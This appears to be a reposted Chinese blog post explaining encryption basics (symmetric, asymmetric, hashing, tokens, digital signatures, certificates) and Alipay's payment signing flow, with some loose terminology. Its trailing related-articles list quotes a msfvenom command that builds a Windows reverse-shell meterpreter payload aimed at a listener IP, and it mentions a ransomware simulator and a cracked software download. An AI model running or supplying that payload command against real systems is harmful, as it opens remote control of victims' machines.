加密算法详解

news2024/11/25 22:39:49

加密学的发展和应用

计算机加密学的发展历程可以大致分为以下几个阶段:

  1. 古典密码学时期(古代至20世纪初): 在古代,人们就已经开始使用简单的加密技术来保护通信内容,例如凯撒密码、维吉尼亚密码等。到了近代,出现了更加复杂的替换密码和转位密码,但这些方法都容易受到破译攻击。

  2. 机械加密机时代(20世纪初至20世纪中叶): 随着机械技术的发展,出现了一系列机械加密机,例如恩尼格玛机等。这些机械设备通过复杂的机制实现了更强大的加密算法,提高了加密的安全性。

  3. 密码学理论的发展(20世纪中叶至20世纪末): 在20世纪中叶至末期,密码学理论开始迅速发展。克劳德·香农提出了信息论的基本原理,提供了对加密系统安全性的量化分析方法。此外,出现了一系列基于数学原理的新加密算法,例如对称加密算法(如DES、AES)、公钥加密算法(如RSA)、哈希函数等。

  4. 公钥密码学的诞生(20世纪末至21世纪初): 在20世纪末期,公钥密码学成为密码学领域的重要突破。公钥密码学通过使用一对密钥(公钥和私钥)来实现安全通信,解决了密钥管理的难题,使得加密通信更加方便和安全。RSA算法和Diffie-Hellman密钥交换协议是公钥密码学的代表性算法。

  5. 量子密码学的探索(21世纪): 随着量子计算技术的发展,传统的加密算法面临着新的挑战。量子密码学作为一种新兴的研究领域,旨在利用量子力学的原理设计更加安全的加密算法,抵御量子计算攻击。量子密钥分发、量子随机数生成等技术成为了量子密码学的研究重点。

本文只针对目前使用和接触到的加密算法进行介绍

三大加密算法:对称加密算法,非对称加密算法,哈希函数‘

对称加密算法

image-20240221213421155

对称加密使用相同的密钥对数据进行加密和解密,这种加密当密码泄露时无异于裸奔;

防篡改的应用还有数字签名、消息认证码(MAC)等,但是原理其实都是一样,详细的之后再说。

典例就是计网中数据链路层和传输层的应用;

数据链路层中差错检测的循环冗余码其实就是简单的一种验证数据是否改变;

但实际的防篡改要比这个复杂得多;

非对称加密算法

有两个相关的密钥,被称为公钥和私钥。虽然可以无限制地分发公钥,但与其配对的私钥必须保密。通常公钥用于加密,私钥用于解密。

在这种使用场景下,

  • 公钥(Public Key):公钥是一个用于加密信息的密钥,它可以公开给任何人使用。公钥可以将信息加密,但不能用来解密已加密的信息。任何人都可以使用公钥对信息进行加密,但只有持有与之配对的私钥的人才能解密这些加密后的信息。

  • 私钥(Private Key):私钥是与公钥配对的另一个密钥,是保密的,并且只有私钥的持有者才能访问。私钥用于解密由对应的公钥加密的信息。此外,私钥还用于数字签名,确保信息的真实性和完整性。

但是!!!公钥私钥的用处远不止于此;

image-20240221213936013

image-20240316200829963

图:支付宝沙箱示例;

扩展:

公私钥作用对换;私钥进行加密,公钥进行解密

场景:验证私钥的拥有者就是这条信息的发布者,即数字签名

虽然公钥和私钥都可以用于加密和解密,但是实际上公钥加密、私钥解密还是私钥加密、公钥解密这实际上并不是一个问题。因为公钥是被公开的,使用私钥进行加密,公钥进行解密,在传输的过程中谁都可以获取到这个信息并对其使用公钥进行解密,所以这不是加密和解密的场景,因为这个过程注定无法保密,这个过程是用于验证发送者的身份的,因为在网络上的信息是可以被获取和篡改的,如果私钥只有一人拥有,使用私钥进行加密,获取到这个加密后的数据之后,拿着公钥进行解密,如果能够解开,说明了发送者的身份就是私钥的拥有者,而这种身份的证明和不可抵赖性则是这个使用中最为重要的关注点,而传输的内容则不是关注的内容。 所以私钥加密、公钥解密这种情况更多的则是这样一种表述:私钥的拥有者使用私钥进行签名,而公钥的拥有者使用公钥对此签名进行验证,从而确认发送者的身份。其实从数据的流向也很清楚,从私钥的拥有者流向众多公钥的拥有者,主要是向拥有者进行身份的证明,安全性相关的数据的传输使用这种方式注定是得不到保障的。

哈希函数

这种算法不使用密钥,但根据明文计算固定长度的值,从而无法恢复明文的内容。哈希函数通常被计算机系统用来加密密码。一种常用的哈希算法是256-SHA。

为什么专门使用哈希来加密密码呢?

哈希函数具有以下五大特征:

  1. 固定输出长度:无论输入的数据长度是多少,哈希函数都会生成固定长度的输出。这意味着不同长度的输入数据经过哈希函数处理后都会得到相同长度的哈希值。

  2. 确定性:对于相同的输入数据,哈希函数始终产生相同的哈希值。这意味着哈希函数的输出是可预测的,相同的输入总是得到相同的输出。

  3. 快速计算:哈希函数的计算速度通常很快,即使是对于大量的数据也能在短时间内生成哈希值。

  4. 雪崩效应:即使输入数据的微小变化也会导致输出哈希值的巨大变化。这意味着只要输入数据发生了一点点改变,输出的哈希值就会完全不同。

  5. 不可逆性哈希函数是单向的,即无法通过哈希值来反推出原始的输入数据。这意味着从哈希值无法恢复出原始数据,因此哈希函数通常用于数据加密和摘要生成等安全领域。

应用:

1.由于其确定性,在存储密码时通常将密码和自己设置的字段相加后再生成哈希,防止黑客暴力破解;

又由于不可逆行,即使是内部员工也不可能知道用户真实密码是什么,因为密码在传入后台后会直接进行加密再和数据库中数据比较;

2.说到哈希不得不再提一下token的生成了,我们都知道token有三部分组成,第一部分是token的加密算法和令牌类型

第二部分说明存储的数据,包含确定用户唯一性的信息,权限等

第三部分通过用户额外设置的(私密签名+第一部分+第二部分)通过第一部分指定的加密算法(通常都使用哈希算法)------->token的第三部分

需要注意的是:前两部分是明文传输的,所以第二部分不要存太隐私的消息,后端收到后直接拿出第一部分和第二部分再用自己设置的隐私签名哈希加密生成第三部分和传入的第三部分进行比较,相同则说明就是该用户了; (这也是哈希加密),由于生成哈希不可逆,黑客无法在改变用户信息下仍然保证哈希值能对应;

又引出了一个新的概念!!!签名

什么意思呢,token认证其实就是使用密钥(不分公私钥,对称加密)对数据进行哈希加密,这个加密后的数据是哈希函数,可以确保数据的可靠性;

而数字签名在这个步骤上,将密钥分为公私钥,并且是在对数据进行哈希处理基础上再进行私钥加密,多了两步,可以说是集万千技术于一身;

还不懂就先看定义:

数字签名

数字签名是一种用于确保数据完整性、身份验证和不可否认性的技术。

数据上应用加密哈希函数并使用发送者的私钥来生成唯一的数字签名。接收者可以使用发送者的公钥验证数字签名,从而确认数据的来源和完整性。

数字签名的过程包括以下步骤:

  1. 发送者使用哈希函数对要发送的数据进行哈希处理,生成消息摘要(也称为哈希值)。

  2. 发送者使用自己的私钥对消息摘要进行加密,生成数字签名。

  3. 发送者将数字签名和原始数据一起发送给接收者。

  4. 接收者使用发送者的公钥解密数字签名,得到消息摘要。

  5. 接收者使用相同的哈希函数对接收到的原始数据进行哈希处理,得到一个新的消息摘要。

  6. 接收者将步骤4和步骤5得到的消息摘要进行比较,如果相同,则确认数据的完整性和来源。(验签)

数字签名可以用于确保数据在传输过程中不被篡改,同时也可以用于身份验证和不可否认性,即发送者无法否认自己发送的数据。

说人话:数字签名就是在发送消息数据的同时又发送了一份由该信息生成的签名,签名和数据成1比1关系,且无法修改,对方可以根据签名来判断数据是否被修改;

数字证书

一种用于进行身份认证和数据加密的数字证明。数字证书是由权威的证书颁发机构(CA,Certificate Authority)签发的电子文档,用于证明特定实体(如个人、组织或服务器)的身份和公钥的合法性。

数字证书通常包含以下信息:

  1. 持有者信息: 证书持有者的身份信息,如姓名、电子邮件地址、组织等。

  2. 公钥: 证书持有者的公钥,用于加密数据或验证数字签名。

  3. 证书颁发机构信息: 签发证书的证书颁发机构的信息,包括名称、数字签名(根据证书中所有字段生成)等。

  4. 有效期限: 证书的有效期限,包括起始日期和终止日期。

数字证书采用非对称加密算法来实现数据的加密和签名功能。在使用数字证书进行安全通信时,通常会进行以下操作:

  • 身份认证: 服务端可以通过客户端提供的数字证书来验证客户端的身份,确保通信双方的真实性和合法性。

  • 数据加密: 数字证书中包含了公钥,可以被用来加密通信数据,保护数据在传输过程中的机密性。

  • 数字签名: 数字证书中包含了证书颁发机构签发的数字签名,可以被用来对通信数据进行数字签名,确保数据的完整性和真实性。

图:支付宝沙箱证书模式示例

image-20240316201143179

多出的支付宝根证书用于验证支付宝的其他证书的真实性。根证书是由支付宝颁发的顶级证书,用于签发其他支付宝证书的证书。

相对于公私钥模式,证书模式又多了哪些功能呢?

数字证书由权威机构颁发,包含了公钥以及相关的身份信息,并经过权威机构的数字签名认证。用户可以通过验证数字证书的签名来确保证书的真实性和完整性,从而建立起对通信对方的信任。

相对于证书模式,公私钥模式仅提供了加密和解密功能,但并没有提供身份验证的功能,而证书多了各种双方信息以及官方生成的签名,因此在需要身份验证和信任建立的场景下,证书模式更为适用。(安全感拉满了有没有);

加密实战:支付宝全流程

image-20240316194341261

支付的过程中可以大概分为6个步骤。

  1. 用户选择自己的商品提交订单。

  2. 商家服务器将商品信息和所需要的金额发给支付宝,生成支付宝订单。

  3. 支付宝订单返回成功之后生成一个支付页面,方便手机支付或者网页支付。

  4. 手机调起支付宝app进行支付。

  5. 输入支付密码发送给支付宝服务器。

  6. 支付宝服务器转账成功,告知商家服务器某个订单的金额转账成功。

最重要的是第2和6步

image-20240316194453069

在步骤2中,为了验证订单是否为商家发起,引入了数字签名,它可以验证一条消息或者文档的真实性。在支付宝支付的接口中,有一个sign参数用来填写签名。这个签名作用是为了防止信息伪造 。通过这种方式可以有效的防止消息在传递过程中被篡改。签名实现原理在上文中;

我们看上边支付宝示例图:应用私钥是我方的,在第二步中使用的是我方的私钥加密发送给支付宝,支付宝使用我方的公钥解密以及验签,第6步支付宝使用支付宝私钥加密,我方使用支付宝公钥解密以及验签;

此外,我们在使用非对称加密传输过程中,并没有对真实数据进行加密操作,而只是使用签名保证了其非篡改性,为了保证数据不会被黑客看到,还可以多加一层对称加密来保证数据传输中不会泄露,更加安全,可以使用AES对称加密之后再进行数据传输,或者使用https协议传输(ssl/tsl);

AES 密钥是对接口请求和响应内容进行加密,密文无法被第三方识别,从而防止接口传输数据泄露。

RSA 密钥是对接口请求和响应内容进行签名,开发者和支付宝开放平台分别加签验签,以确认接口传输的内容没有被篡改。不论接口内容是明文还是密文,RSA 均可正常签名。

开发者可对请求参数先做 AES 对称加密,然后对密文进行 RSA 签名。

对于https中的s(ssl/tsl),以后再聊吧,其实就是很多种加密算法,原理没有什么太大差别;

《我的第一本算法书》链接: 我的第一本算法书.pdf - Google 云端硬盘

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522833.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中,经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时,我也遇到了一个需要使用到延迟消息队列的需求场景,因此我也在网上调研了一系列不同的延迟队列的实现方案,在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后,打开word复制粘贴时报错“运行时错误53,文件未找到:MathPage.WLL” 首先确定自己电脑的位数(这里默认32位) 右击MathType桌面图标,点击“打开文件所在位置”, 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候,作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库,如Autofac这种进行服务注入,通过本身的.Core Weabpi实现的,总结了两种实现方法, 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块(Spatiotemporal Interactive Learning Module)1.5.3 动态图推理模块(Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏,通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励,当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…

vscode插件开发-发布插件

安装vsce vsce是“Visual Studio Code Extensions”的缩写&#xff0c;是一个用于打包、发布和管理VS Code扩展的命令行工具。 确保您安装了Node.js。然后运行&#xff1a; npm install -g vscode/vsce 您可以使用vsce轻松打包和发布扩展&#xff1a; // 打包插件生成name…

RansomwareSim:一款功能强大的勒索软件模拟研究学习工具

关于RansomwareSim RansomwareSim是一款功能强大的勒索软件模拟研究学习工具&#xff0c;该工具是为网络安全教育和培训目的开发的模拟勒索软件应用程序&#xff0c;它旨在为广大研究人员演示勒索软件如何加密系统上的文件并与命令和控制服务器通信&#xff0c;以更好地了解勒…

“一键解锁复古魅力:底片效果瞬间生成!“

时光荏苒&#xff0c;岁月如梭。你是否曾怀念那些旧时光里&#xff0c;老照片所散发出的独特韵味&#xff1f;那种历经岁月沉淀的底片效果&#xff0c;仿佛能带我们回到那些被遗忘的角落&#xff0c;重温那些温馨的瞬间。 首先第一步&#xff0c;我们要进入视频剪辑高手&#…

java数据结构与算法刷题-----LeetCode376. 摆动序列

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 1. 贪心2. 动态规划3. 优化版动态规划 1. 贪心 解题思路&#x…

【强化学习笔记一】初识强化学习(定义、应用、分类、性能指标、小车上山案例及代码)

文章目录 第1章 初识强化学习1.1 强化学习及其关键元素1.2 强化学习的应用1.3 强化学习的分类1.3.1 按任务分类1.3.2 按算法分类 1.4 强化学习算法的性能指标1.5 案例&#xff1a;基于Gym库的智能体/环境接口1.5.1 安装Gym库1.5.2 使用Gym库1.5.3 小车上山1.5.3.1 有限动作空间…

软考80-上午题-【面向对象技术3-设计模式】-结构型设计模式03

一、外观模式 1-1、意图 为子系统中的一组接口提供一个一致的界面。 Facade 模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。 1-2、结构 Facade 知道哪些子系统类负责处理请求&#xff1a;将客户的请求代理给适当的子系统对象。Subsvstem classes …

Mock.js了解(Mock就是模拟一个后端,Postman模拟前端)

JSON5 Node.js Vue CLI与Mock.js Jquery与Mock.js Mock与分页

Linux - 线程互斥和互斥锁

文章目录 前言一、为什么要线程互斥原子性 二、互斥锁互斥锁的创建与销毁互斥锁进行互斥 前言 前几节课&#xff0c;我们学习了多线程的基础概念&#xff0c;这节课&#xff0c;我们来对线程互斥和互斥锁的内容进行学习。 一、为什么要线程互斥 首先我们要明白&#xff0c;对…